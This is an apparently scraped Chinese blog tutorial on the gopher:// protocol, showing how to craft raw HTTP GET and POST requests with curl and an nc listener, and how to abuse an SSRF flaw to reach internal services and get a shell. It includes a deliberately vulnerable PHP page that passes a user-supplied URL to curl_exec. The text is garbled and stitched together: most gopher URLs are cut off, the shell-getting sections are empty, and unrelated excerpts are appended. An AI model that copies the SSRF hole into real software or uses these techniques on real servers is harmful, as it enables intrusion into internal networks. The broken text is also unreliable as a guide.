1、什麼是gopher協議?
2、如何使用gopher協議**shell?
3、在ssrf中如何使用gopher協議**shell?
一、什麼是gopher協議?
定義:gopher是internet上乙個非常有名的資訊查詢系統,它將internet上的檔案組織成某種索引,很方便地將使用者從internet的一處帶到另一處。在www出現之前,gopher是internet上最主要的資訊檢索工具,gopher站點也是最主要的站點,使用tcp70埠。但在www出現後,gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它;
gopher協議支援發出get、post請求:可以先截獲get請求包和post請求包,在構成符合gopher協議的請求。gopher協議是ssrf利用中最強大的協議
限制:gopher協議在各個程式語言中的使用限制
gopher協議格式:
url:gopher://:/_後接tcp資料流
gopher的預設埠是70如果發起post請求,回車換行需要使用%0d%0a,如果多個引數,引數之間的&也需要進行url編碼
gopher傳送請求http get請求:
使用gopher協議傳送乙個請求,環境為:nc起乙個監聽,curl傳送gopher請求
nc啟動監聽,監聽2333埠:nc -lp 2333
使用curl傳送http請求,命令為
margine:~ margin$ curl gopher:
此時nc收到的訊息為:
margine:~ margin$ nc -lp 2333
bcd可以發現url中的a沒有被nc接受到,如果命令變為
margine:~ margin$ curl gopher:
此時nc收到的訊息為:
margine:~ margin$ nc -lp 2333
abcd
所以需要在使用gopher協議時在url後加入乙個字元(該字元可隨意寫)
那麼如何傳送http的請求呢?例如get請求。此時我們聯想到,直接傳送乙個原始的http包不就可以嗎?在gopher協議中傳送http的資料,需要以下三步:
1、構造http資料報
2、url編碼、替換回車換行為%0d%0a
3、傳送gopher協議
我準備了乙個php的**,如下:
<?php
echo "hello ".$_get["name"]."\n"
?>
乙個get型的http包,如下:
url編碼後為:
curl gopher:
在轉換為url編碼時候有這麼幾個坑
1、問號(?)需要轉碼為url編碼,也就是%3f
2、回車換行要變為%0d%0a,但如果直接用工具轉,可能只會有%0a
3、在http包的最後要加%0d%0a,代表訊息結束(具體可研究http包結束)
gopher傳送請求http post請求:
傳送post請求前,先看下post資料報的格式
那我們將上面的post資料報進行url編碼並改為gopher協議
curl gopher:
post.php的**為
<?php
echo "hello ".$_post["name"]."\n"
?>
使用curl發起gopher的post請求後,結果為:
二、如何使用gopher協議**shell?
三、在ssrf中如何使用gopher協議**shell?
1. 我們先準備了乙個帶有ssrf漏洞的頁面,**如下:
<?php
$url = $_get['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
這裡需要注意的是,你的php版本必須大於等於5.3,並且在php.ini檔案中開啟了extension=php_curl.dll
2. 我在機器上開啟了乙個監聽nc -lp 6666
然後在瀏覽器中訪問:
可以看到nc接收到了訊息,沒有問題。
c:\documents and settings\administrator\桌面》nc -lp 6666
abc其實還是利用的struts2-045漏洞
來自
gopher協議利用
gopher是internet上乙個非常有名的資訊查詢系統,它將internet上的檔案組織成某種索引,很方便地將使用者從internet的一處帶到另一處。在www出現之前,gopher是internet上最主要的資訊檢索工具,gopher站點也是最主要的站點,使用tcp70埠。但在www出現後,g...
ssrf漏洞內網滲透 ssrf漏洞分析
ssrf漏洞分析 關於ssrf 首先簡單的說一下我理解的ssrf,大概就是伺服器會響應使用者的url請求,但是沒有做好過濾和限制,導致可以攻擊內網。ssrf常見漏洞 首先有三個常見的容易造成ssrf漏洞的函式需要注意 fsockopen file get contents curl exec 下面是...
SSRF漏洞概念
ssrf server side request forgery 伺服器端請求偽造 服務端提供了從其他伺服器應用獲取資料的功能,且沒有對目標位址做過濾與限制 也就是說,對於為伺服器提供服務的其他應用沒有對訪問進行限制 如果我構造好我的訪問包,那我就有可能利用目標服務對他的其他伺服器應用進行呼叫 一般...